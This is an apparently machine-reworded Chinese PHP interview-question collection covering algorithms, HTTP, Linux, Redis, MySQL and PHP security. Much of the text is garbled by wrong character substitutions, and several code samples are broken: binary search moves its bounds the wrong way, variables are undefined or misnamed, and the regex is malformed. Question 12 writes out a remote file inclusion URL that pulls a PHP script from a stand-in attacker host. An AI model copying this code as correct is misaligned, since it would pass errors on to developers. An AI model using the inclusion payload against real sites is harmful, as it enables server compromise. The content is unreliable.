算法#
1.反转函数的实现#
/ 反转数组 @param array $arr @return array/function reverse($arr){ $n = count($arr); $left = 0; $right = $n - 1; while ($left < $right) { $temp = $arr[$left]; $arr[$left++] = $arr[$right]; $arr[$right--] = $temp; } return $arr;}
2.两个有序int凑集是否有相同元素的最优算法#
/ 探求两个有序数组里相同的元素 @param array $arr1 @param array $arr2 @return array /function find_common($arr1, $arr2){ $common = array(); $i = $j = 0; $count1 = count($arr1); $count2 = count($arr2); while ($i < $count1 && $j < $count2) { if ($arr1[$i] < $arr2[$j]) { $i++; } elseif ($arr1[$i] > $arr2[$j]) { $j++; } else { $common[] = $arr[$i]; $i++; $j++; } } return array_unique($common);}
3.将一个数组中的元素随机(打乱)#
/ 打乱数组 @param array $arr @return array /function custom_shuffle($arr){ $n = count($arr); for ($i = 0; $i < $n; $i++) { $rand_pos = mt_rand(0, $n - 1); if ($rand_pos != $i) { $temp = $arr[$i]; $arr[$i] = $arr[$rand_pos]; $arr[$rand_pos] = $temp; } } return $arr;}
4.给一个有数字和字母的字符串,让连着的数字和字母对应#
function number_alphabet($str){ $number = preg_split('/[a-z]+/', $str, -1, PREG_SPLIT_NO_EMPTY); $alphabet = preg_split('/\d+/', $str, -1, PREG_SPLIT_NO_EMPTY); $n = count($number); for ($i = 0; $i < $count; $i++) { echo $number[$i] . ':' . $alphabet[$i] . '</br>'; }}$str = '1a3bb44a2ac';number_alphabet($str);//1:a 3:bb 44:a 2:ac
5.求n以内的质数(质数的定义:在大于1的自然数中,除了1和它本身意外,无法被其他自然数整除的数)#
思路:
1.(质数筛选定理)n不能够被不大于根号n的任何质数整除,则n是一个质数
2.除了2的偶数都不是质数
代码如下:
/ 求n内的质数 @param int $n @return array/function get_prime($n){ $prime = array(2);//2为质数 for ($i = 3; $i <= $n; $i += 2) {//偶数不是质数,步长可以加大 $sqrt = intval(sqrt($i));//求根号n for ($j = 3; $j <= $sqrt; $j += 2) {//i是奇数,当然不能被偶数整除,步长也可以加大。 if ($i % $j == 0) { break; } } if ($j > $sqrt) { array_push($prime, $i); } } return $prime;}print_r(getPrime(1000));
6.约瑟夫环问题#
干系题目:一群猴子排成一圈,按1,2,…,n依次编号。然后从第1只开始数,数到第m只,把它踢出圈,从它后面再开始数, 再数到第m只,在把它踢出去…,如此一直的进行下去, 直到末了只剩下一只猴子为止,那只猴子就叫做大王。哀求编程仿照此过程,输入m、n, 输出末了那个大王的编号。
/ 获取大王 @param int $n @param int $m @return int /function get_king_mokey($n, $m) { $arr = range(1, $n); $i = 0; while (count($arr) > 1) { $i++; $survice = array_shift($arr); if ($i % $m != 0) { array_push($arr, $survice); } } return $arr[0];}
7.如何快速探求一个数组里最小的1000个数#
思路:假设最前面的1000个数为最小的,算出这1000个数中最大的数,然后和第1001个数比较,如果这最大的数比这第1001个数小的话跳过,如果要比这第1001个数大则将两个数交流位置,并算出新的1000个数里面的最大数,再和下一个数比较,以此类推。
代码如下:
//探求最小的k个数//题目描述//输入n个整数,输出个中最小的k个。/ 获取最小的k个数 @param array $arr @param int $k [description] @return array/function get_min_array($arr, $k){ $n = count($arr); $min_array = array(); for ($i = 0; $i < $n; $i++) { if ($i < $k) { $min_array[$i] = $arr[$i]; } else { if ($i == $k) { $max_pos = get_max_pos($min_array); $max = $min_array[$max_pos]; } if ($arr[$i] < $max) { $min_array[$max_pos] = $arr[$i]; $max_pos = get_max_pos($min_array); $max = $min_array[$max_pos]; } } } return $min_array;}/ 获取最大的位置 @param array $arr @return array/function get_max_pos($arr){ $pos = 0; for ($i = 1; $i < count($arr); $i++) { if ($arr[$i] > $arr[$pos]) { $pos = $i; } } return $pos;}$array = [1, 100, 20, 22, 33, 44, 55, 66, 23, 79, 18, 20, 11, 9, 129, 399, 145, 2469, 58];$min_array = get_min_array($array, 10);print_r($min_array);
8.如何在有序的数组中找到一个数的位置(二分查找)#
代码如下:
/ 二分查找 @param array $array 数组 @param int $n 数组数量 @param int $value 要探求的值 @return int/function binary_search($array, $n, $value){ $left = 0; $right = $n - 1; while ($left <= $right) { $mid = intval(($left + $right) / 2); if ($value > $array[$mid]) { $right = $mid + 1; } elseif ($value < $array[$mid]) { $left = $mid - 1; } else { return $mid; } } return -1;}
9.给定一个有序整数序列,找出绝对值最小的元素#
思路:二分查找
/ 获取绝对值最小的元素 @param array $arr @return int /function get_min_abs_value($arr){ //如果符号相同,直接返回 if (is_same_sign($arr[0], $arr[$n - 1])) { return $arr[0] >= 0 ? $arr[0] : $arr[$n - 1]; } //二分查找 $n = count($arr); $left = 0; $right = $n - 1; while ($left <= $right) { if ($left + 1 === $right) { return abs($arr[$left]) < abs($arr[$right]) ? $arr[$left] : $arr[$right]; } $mid = intval(($left + $right) / 2); if ($arr[$mid] < 0) { $left = $mid + 1; } else { $right = $mid - 1; } }}/ 判断符号是否相同 @param int $a @param int $b @return boolean /function is_same_sign($a, $b){ if ($a $b > 0) { return true; } else { return false; }}
10.找出有序数组中随机3个数和为0的所有情形#
思路:动态方案
function three_sum($arr){ $n = count($arr); $return = array(); for ($i=0; $i < $n; $i++) { $left = $i + 1; $right = $n - 1; while ($left <= $right) { $sum = $arr[$i] + $arr[$left] + $arr[$right]; if ($sum < 0) { $left++; } elseif ($sum > 0) { $right--; } else { $numbers = $arr[$i] . ',' . $arr[$left] . ',' . $arr[$right]; if (!in_array($numbers, $return)) { $return[] = $numbers; } $left++; $right--; } } } return $return;}$arr = [-10, -9, -8, -4, -2, 0, 1, 2, 3, 4, 5, 6, 9];var_dump(three_sum($arr));
11.编写一个PHP函数,求任意n个正负整数里面最大的连续和,哀求算法韶光繁芜度尽可能低。#
思路:动态方案
/ 获取最大的连续和 @param array $arr @return int/function max_sum_array($arr){ $currSum = 0; $maxSum = 0;//数组元素全为负的情形,返回最大数 $n = count($arr); for ($i = 0; $i < $n; $i++) { if ($currSum >= 0) { $currSum += $arr[$i]; } else { $currSum = $arr[$i]; } } if ($currSum > $maxSum) { $maxSum = $currSum; } return $maxSum;}
打算机网络#
1.HTTP中GET与POST的差异,把稳末了一条#
GET在浏览器回退时是无害的,而POST会再次提交要求。
GET产生的URL地址可以被Bookmark,而POST不可以。
GET要求会被浏览器主动cache,而POST不会,除非手动设置。
GET要求只能进行url编码,而POST支持多种编码办法。
GET要求参数会被完全保留在浏览器历史记录里,而POST中的参数不会被保留。
GET要求在URL中传送的参数是有长度限定的,而POST没有。
对参数的数据类型,GET只接管ASCII字符,而POST没有限定。
GET比POST更不屈安,由于参数直接暴露在URL上,以是不能用来通报敏感信息。
GET参数通过URL通报,POST放在Request body中。
GET产生一个TCP数据包,POST产生两个TCP数据包。
2.为什么Tcp连接是三次,挥手是四次#
在Tcp连接中,做事真个SYN和ACK向客户端发送是一次性发送的,而在断开连接的过程中,B端向A端发送的ACK和FIN是分两次发送的。由于在B端吸收到A真个FIN后,B端可能还有数据要传输,以是先发送ACK,等B端处理完自己的事情后就可以发送FIN断开连接了。
3.Cookie存在哪#
如果设置了过期韶光,Cookie存在硬盘里
没有设置过期韶光,Cookie存在内存里
4.COOKIE和SESSION的差异和关系#
COOKIE保存在客户端,而SESSION则保存在做事器端
从安全性来讲,SESSION的安全性更高
从保存内容的类型的角度来讲,COOKIE只保存字符串(及能够自动转换成字符串)
从保存内容的大小来看,COOKIE保存的内容是有限的,比较小,而SESSION基本上没有这个限定
从性能的角度来讲,用SESSION的话,对做事器的压力会更大一些
SEEION依赖于COOKIE,但如果禁用COOKIE,也可以通过url通报
Linux#
1.如何修正文件为当前用户只读#
chmod u=r 文件名
2.Linux进程属性#
进程:是用pid表示,它的数值是唯一的
父进程:用ppid表示
启动进程的用户:用UID表示
启动进程的用户所属的组:用GID表示
进程的状态:运行R,就绪W,休眠S,僵尸Z
3.统计某一天网站的访问量#
awk '{print $1}' /var/log/access.log | sort | uniq | wc -l
推举篇文章,讲awk实际利用的shell在手剖析做事器日志不愁
Nginx#
1.fastcgi通过端口监听和通过文件监听的差异#
2.nginx的负载均衡实现办法#
轮询
用户IP哈希
指定权重
fair(第三方)
url_hash(第三方)
Memcache/Redis#
1.Redis主从是若何同步数据的?(即复制功能)#
无论是初次连接还是重新连接,当建立一个从做事器时,从做事器都将从主理事器发送一个SYNC命令。接到SYNC命令的主理事器将开始实行BGSAVE,并在保存操作实行期间,将所有新实行的命令都保存到一个缓冲区里面,当BGSAVE实行完毕后,主理事器将实行保存操作所得到的.rdb文件发送给从做事器,从做事器吸收这个.rdb文件,并将文件中的数据载入到内存中。之后主理事器会以Redis命令协议的格式,将写命令缓冲区中积累的所有内容都发送给从做事器。
2.Memcache缓存命中率#
缓存命中率 = get_hits/cmd_get 100%
3.Memcache集群实现#
同等性Hash
4.Memcache与Redis的差异#
Memcache
该产品本身特殊是数据在内存里边的存储,如果做事器溘然断电,则全部数据就会丢失
单个key(变量)存放的数据有1M的限定
存储数据的类型都是String字符串类型
本身没有持久化功能
可以利用多核(多线程)
Redis
数据类型比较丰富:String、List、Set、Sortedset、Hash
有持久化功能,可以把数据随时存储在磁盘上
本身有一定的打算功能
单个key(变量)存放的数据有1GB的限定
MySQL#
1.实行SQL语句:select count() from articles 时,MyISAM和InnoDB哪个快#
MyISAM快,由于MyISAM本身就记录了数量,而InnoDB要扫描数据
3.隐式转换#
当查询字段是INT类型,如果查询条件为CHAR,将查询条件转换为INT,如果是字符串前导都是数字将会进行截取,如果不是转换为0。
当查询字段是CHAR/VARCHAR类型,如果查询条件为INT,将查询字段为换为INT再进行比较,可能会造玉成表扫描
2.最左前缀原则#
有一个复合索引:INDEX(`a`, `b`, `c`)
3.聚簇索引和非聚簇索引的差异#
聚簇索引的叶节点便是数据节点,而非聚簇索引的页节点仍旧是索引检点,并保留一个链接指向对应数据块。
PHP#
1.Session可不可以设置失落效韶光,比如30分钟过期#
设置seesion.cookie_lifetime有30分钟,并设置session.gc_maxlifetime为30分钟
自己为每一个Session值增加timestamp
每次访问之前, 判断韶光戳
2.PHP进程间通信的几种办法#
行列步队
旗子暗记量+共享内存
旗子暗记
管道
socket
3.php类的静态调用和实例化调用各自的利弊#
静态方法是类中的一个成员方法,属于全体类,纵然不用创建任何工具也可以直接调用!
静态方法效率上要比实例化高,静态方法的缺陷是不自动销毁,而实例化的则可以做销毁。
4.类的数组办法调用#
ArrayAccess(数组式访问)接口
5.用php写一个函数,获取一个文本文件末了n行内容,哀求尽可能效率高,并可以跨平台利用。#
function tail($file, $num){ $fp = fopen($file,\公众r\公众); $pos = -2; $eof = \公众\"大众; $head = false; //当总行数小于Num时,判断是否到第一行了 $lines = array(); while ($num > 0) { while($eof != PHP_EOL){ if (fseek($fp, $pos, SEEK_END) == 0) { //fseek成功返回0,失落败返回-1 $eof = fgetc($fp); $pos--; } else { //当到达第一行,行首时,设置$pos失落败 fseek($fp, 0, SEEK_SET); $head = true; //到达文件头部,开关打开 break; } } array_unshift($lines, str_replace(PHP_EOL, '', fgets($fp))); if ($head) {//这一句,只能放上一句后,由于到文件头后,把第一行读取出来再跳出全体循环 break; } $eof = \"大众\"大众; $num--; } fclose($fp); return $lines; }
6.$SERVER['SERVER_NAME']和$SERVER['HTTP_HOST']的差异#
相同点: 当知足以下三个条件时,两者会输出相同信息。
做事器为80端口
apache的conf中ServerName设置精确
HTTP/1.1协议规范
不同点:
常日情形: $_SERVER[\"大众HTTP_HOST\公众] 在HTTP/1.1协议规范下,会根据客户真个HTTP要求输出信息。 $_SERVER[\"大众SERVER_NAME\"大众] 默认情形下直接输出apache的配置文件httpd.conf中的ServerName值。
当做事器为非80端口时: $_SERVER[\"大众HTTP_HOST\"大众] 会输出端口号,例如:coffeephp.com:8080
$_SERVER[\"大众SERVER_NAME\"大众] 会直接输出ServerName值 因此在这种情形下,可以理解为:$_SERVER['HTTP_HOST'] = $_SERVER['SERVER_NAME'] : $_SERVER['SERVER_PORT']
当配置文件httpd.conf中的ServerName与HTTP/1.0要求的域名不一致时: httpd.conf配置如下:
<virtualhost > ServerName jsyzchen.com ServerAlias blog.jsyzchen.com </virtualhost>
客户端访问域名 blog.jsyzchen.com
$_SERVER[\公众HTTP_HOST\"大众] 输出 blog.jsyzchen.com
$_SERVER[\"大众SERVER_NAME\"大众] 输出jsyzchen.com
7.打开php.ini的safe_mode会影响哪些参数#
当safe_mode=On时,会涌现下面限定:
所有输入输出函数(例如fopen()、file()和require())的适用会受到限定,只能用于与调用这些函数的脚本有相同拥有者的文件。例如,假定启用了安全模式,如果Mary拥有的脚本调用fopen(),考试测验打开由Jonhn拥有的一个文件,则将失落败。但是,如果Mary不仅拥有调用 fopen()的脚本,还拥有fopen()所调用的文件,就会成功。
如果试图通过函数popen()、system()或exec()等实行脚本,只有当脚本位于safe_mode_exec_dir配置指令指定的目录才可能。
HTTP验证得到进一步加强,由于验证脚本用于者的UID划入验证领域范围内。此外,当启用安全模式时,不会设置PHP_AUTH。
如果适用MySQL数据库做事器,链接MySQL做事器所用的用户名必须与调用mysql_connect()的文件拥有者用户名相同。
详细的阐明可以查看官网:http://www.php.net/manual/zh/ini.sect.safe-mode.php php safe_mode影响参数
8.PHP办理多进程同时写一个文件的问题#
function write($str){ $fp = fopen($file, 'a'); do { usleep(100); } while (!flock($fp, LOCK_EX)); fwrite($fp, $str . PHP_EOL); flock($fp, LOCK_UN); fclose($fp);}
9.PHP里的超全局变量#
$GLOBALS
$_SERVER
$_GET
$_POST
$_FILES
$_COOKIE
$_SESSION
$_REQUEST
$_ENV
10.php7新特性#
?? 运算符(NULL 合并运算符)
函数返回值类型声明
标量类型声明
use 批量声明
define 可以定义常量数组
闭包( Closure)增加了一个 call 方法 详细的可以见官网:php7-new-features
11.php7卓越性能背后的优化#
减少内存分配次数
多利用栈内存
缓存数组的hash值
字符串解析成桉树改为宏展开
利用大块连续内存代替小块破碎内存 详细的可以参考鸟哥的PPT:PHP7性能之源
12.include($_GET['p'])的安全隐患#
现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?p=anyfile.txt
来获取你的机密信息,或实行一个PHP脚本。 如果allow_url_fopen=On,你更是去世定了: 试试这个输入:http://www.yourdomain.com/index.php?p=http://youaredoomed.com/phphack.php
现在你的网页中包含了http://www.youaredoomed.com/phphack.php
的输出. 黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。
13.列出一些戒备SQL注入、XSS攻击、CSRF攻击的方法#
SQL注入:
addslashes函数
mysql_real_escape_string/mysqli_real_escape_string/PDO::quote()
PDO预处理 XSS:htmlspecial函数 CSRF:
验证HTTP REFER
利用toke进行验证
14.接口如何安全访问#
jwt或验证署名
15.PHP里有哪些设计模式#
单例模式
工厂模式
脸面模式(facade)
注册器模式
策略模式
原型模式
装饰器模式 更多的可以看PHP设计模式简介这篇文章
16.验证ip是否精确#
function check_ip($ip){ if (!filter_var($ip, FILTER_VALIDATE_IP)) { return false; } else { return true; }}
17.验证日期是否合理#
function check_datetime($datetime){ if (date('Y-m-d H:i:s', strtotime($datetime)) === $datetime) { return true; } else { return false; }}
18.写一个正则表达式,过滤JS脚本(及把script标记及其内容都去掉)#
$text = '<script>alert('XSS')</script>';$pattern = '<script.>.<\/script>/i';$text = preg_replace($pattern, '', $text);
19.下单后30分钟未支付取消订单#
第一种方案:被动过期+cron,便是用户查看的时候去数据库查有没有支付+定时清理。 第二种方案:延迟性任务,到韶光检讨订单是否支付成功,如果没有支付则取消订单
20.设计一个秒杀系统#
思路:用redis的行列步队
$ttl = 4;$random = mt_rand(1,1000).'-'.gettimeofday(true).'-'.mt_rand(1,1000);$lock = fasle;while (!$lock) { $lock = $redis->set('lock', $random, array('nx', 'ex' => $ttl));}if ($redis->get('goods.num') <= 0) { echo (\"大众秒杀已经结束\公众); //删除锁 if ($redis->get('lock') == $random) { $redis->del('lock'); } return false;}$redis->decr('goods.num');echo (\公众秒杀成功\公众);//删除锁if ($redis->get('lock') == $random) { $redis->del('lock');}return true;
21.请设计一个实现办法,可以给某个ip找到对应的省和市,哀求效率竟可能的高#
//ip2long,把所有城市的最小和最大Ip录进去$redis_key = 'ip';$redis->zAdd($redis_key, 20, '#bj');//北京的最小IP加#$resid->zAdd($redis_key, 30, 'bj');//最大IPfunction get_ip_city($ip_address){ $ip = ip2long($ip_address); $redis_key = 'ip'; $city = zRangeByScore($redis_key, $ip, '+inf', array('limit' => array(0, 1))); if ($city) { if (strpos($city[0], \"大众#\公众) === 0) { echo '城市不存在!'; } else { echo '城市是' . $city[0]; } } else { echo '城市不存在!'; }}
其他#
1.网页/运用访问慢溘然变慢,如何定位问题#
top、iostat查看cpu、内存及io占用情形
内核、程序参数设置不合理 查看有没有报内核缺点,连接数用户打开文件数这些有没有达到上限等等
链路本身慢 是否跨运营商、用户高下行带宽不足、dns解析慢、做事器内网广播风暴什么的
程序设计不合理 是否程序本身算法设计太差,数据库语句太过繁芜或者刚上线了什么功能引起的
其它关联的程序引起的 如果要访问数据库,检讨一下是否数据库访问慢
是否被攻击了 查看做事器是否被DDos了等等
硬件故障 这个一样平常直接手事器就挂了,而不是访问慢
2.如何设计/优化一个访问量比较大的博客/论坛#
减少http要求(比如利用雪碧图)
优化数据库(范式、SQL语句、索引、配置、读写分离)
缓存利用(Memcache、Redis)
负载均衡
动态内容静态化+CDN
禁止外部盗链(refer、图片添加水印)
掌握大文件下载
利用集群
3.如何搭建Composer私有库#
利用satis搭建